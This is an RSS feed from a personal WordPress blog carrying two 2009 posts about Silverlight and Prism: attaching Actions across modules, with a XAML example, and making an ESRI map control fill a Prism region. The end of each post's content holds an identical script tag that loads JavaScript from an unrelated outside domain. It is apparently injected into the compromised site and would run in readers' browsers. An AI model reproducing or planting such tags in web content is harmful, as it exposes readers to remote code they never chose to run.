<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; prism</title>
	<atom:link href="http://eric.polerecky.com/archives/category/prism/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Silverlight, Actions and Prism</title>
		<link>http://eric.polerecky.com/archives/silverlight-actions-and-prism/</link>
		<comments>http://eric.polerecky.com/archives/silverlight-actions-and-prism/#comments</comments>
		<pubDate>Sun, 20 Sep 2009 00:56:05 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[prism]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/silverlight-actions-and-prism/</guid>
		<description><![CDATA[<br/>
When using Prism for composition in Silverlight how do I attach actions between modules?
Am I forced to use the event system or is there a way to set the TargetName for my Actions to the name of a UserControl in a different module?
For Example:
&#60;Image Height=&#34;40&#34; HorizontalAlignment=&#34;Right&#34; VerticalAlignment=&#34;Bottom&#34; Width=&#34;40&#34; Source=&#34;/SilverlightDemo.MainToolbar;Component/Images/i_chart.png&#34; Stretch=&#34;Fill&#34; Canvas.Left=&#34;222&#34; Canvas.Top=&#34;55&#34;&#62;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#60;i:Interaction.Triggers&#62;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#60;i:EventTrigger EventName=&#34;MouseLeftButtonDown&#34;&#62;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><div class="post-text">
<p>When using Prism for composition in Silverlight how do I attach actions between modules?</p>
<p>Am I forced to use the event system or is there a way to set the TargetName for my Actions to the name of a UserControl in a different module?</p>
<p>For Example:</p>
<pre class="prettyprint"><code><span class="pun">&lt;</span><span class="tag">Image</span><span class="pln"> </span><span class="atn">Height</span><span class="pun">=</span><span class="atv">&quot;40&quot;</span><span class="pln"> </span><span class="atn">HorizontalAlignment</span><span class="pun">=</span><span class="atv">&quot;Right&quot;</span><span class="pln"> </span><span class="atn">VerticalAlignment</span><span class="pun">=</span><span class="atv">&quot;Bottom&quot;</span><span class="pln"> </span><span class="atn">Width</span><span class="pun">=</span><span class="atv">&quot;40&quot;</span><span class="pln"> </span><span class="atn">Source</span><span class="pun">=</span><span class="atv">&quot;/SilverlightDemo.MainToolbar;Component/Images/i_chart.png&quot;</span><span class="pln"> </span><span class="atn">Stretch</span><span class="pun">=</span><span class="atv">&quot;Fill&quot;</span><span class="pln"> </span><span class="atn">Canvas</span><span class="pln">.</span><span class="atn">Left</span><span class="pun">=</span><span class="atv">&quot;222&quot;</span><span class="pln"> </span><span class="atn">Canvas</span><span class="pln">.</span><span class="atn">Top</span><span class="pun">=</span><span class="atv">&quot;55&quot;</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;</span><span class="tag">i:Interaction</span><span class="pln">.</span><span class="atn">Triggers</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;</span><span class="tag">i:EventTrigger</span><span class="pln"> </span><span class="atn">EventName</span><span class="pun">=</span><span class="atv">&quot;MouseLeftButtonDown&quot;</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;</span><span class="tag">Actions:ToggleCollapseAction</span><span class="pln">

&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="atn">TargetName</span><span class="pun">=</span><span class="atv">&quot;HERE:/SilverlightDemo.Modules.TargetModule;Views/TargetModuleView&quot;</span><span class="pln"> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="atn">CollapseHorizontal</span><span class="pun">=</span><span class="atv">&quot;False&quot;</span><span class="pln"> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="atn">CollapseVertical</span><span class="pun">=</span><span class="atv">&quot;False&quot;</span><span class="pun">/&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;/</span><span class="tag">i:EventTrigger</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;/</span><span class="tag">i:Interaction</span><span class="pln">.</span><span class="atn">Triggers</span><span class="pun">&gt;</span><span class="pln">&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span><span class="pun">&lt;/</span><span class="tag">Image</span><span class="pun">&gt;</span><span class="pln"></span></code></pre>
</div>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/silverlight-actions-and-prism/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ESRI Silverlight Map vs. Prism Regions</title>
		<link>http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/</link>
		<comments>http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 14:00:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[esri]]></category>
		<category><![CDATA[gis]]></category>
		<category><![CDATA[prism]]></category>
		<category><![CDATA[silverlight]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/</guid>
		<description><![CDATA[<br/>After a day or so of working with Silverlight it became quite apparent that you can’t, no you Shouldn’t build Silverlight LOB (Line of Business) applications without Prism. 
Prism offers a way to break down your application into modules. And it uses Regions as a way to put it all back together again. Its very


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><p>After a day or so of working with Silverlight it became quite apparent that you can’t, no you Shouldn’t build Silverlight LOB (Line of Business) applications without Prism. </p>
<p>Prism offers a way to break down your application into modules. And it uses Regions as a way to put it all back together again. Its very similar to the ASP.NET MasterPage/Content area approach. </p>
<p>Unfortunately for me; the control toolkit I’m using (I work for GISi now; its a mapping company…more on that in a future post) is from ESRI but none of the ESRI samples use Prism. When I got down to the nitty gritty I ended up tearing out my hair over my inability to make the map control do two things.</p>
<ol>
<li>Live in a module (a module is a separate project) </li>
<li>Take up 100% of the height and width of the shell. – Its a prism term – long post and screencasts coming soon. </li>
</ol>
<p>I could make the map do 1 or 2 but not 1 and 2&#8230;that is until I got some help from <a href="http://www.sharpgis.net/" target="_blank">@sharpgis</a></p>
<p><a href="http://forums.esri.com/Thread.asp?c=158&amp;f=2455&amp;t=290394&amp;mc=4">http://forums.esri.com/Thread.asp?c=158&amp;f=2455&amp;t=290394&amp;mc=4</a></p>
<p>So, the key is to use </p>
<pre> HorizontalContentAlignment=&quot;Stretch&quot; VerticalContentAlignment=&quot;Stretch&quot;</pre>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/esri-silverlight-map-vs-prism-regions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
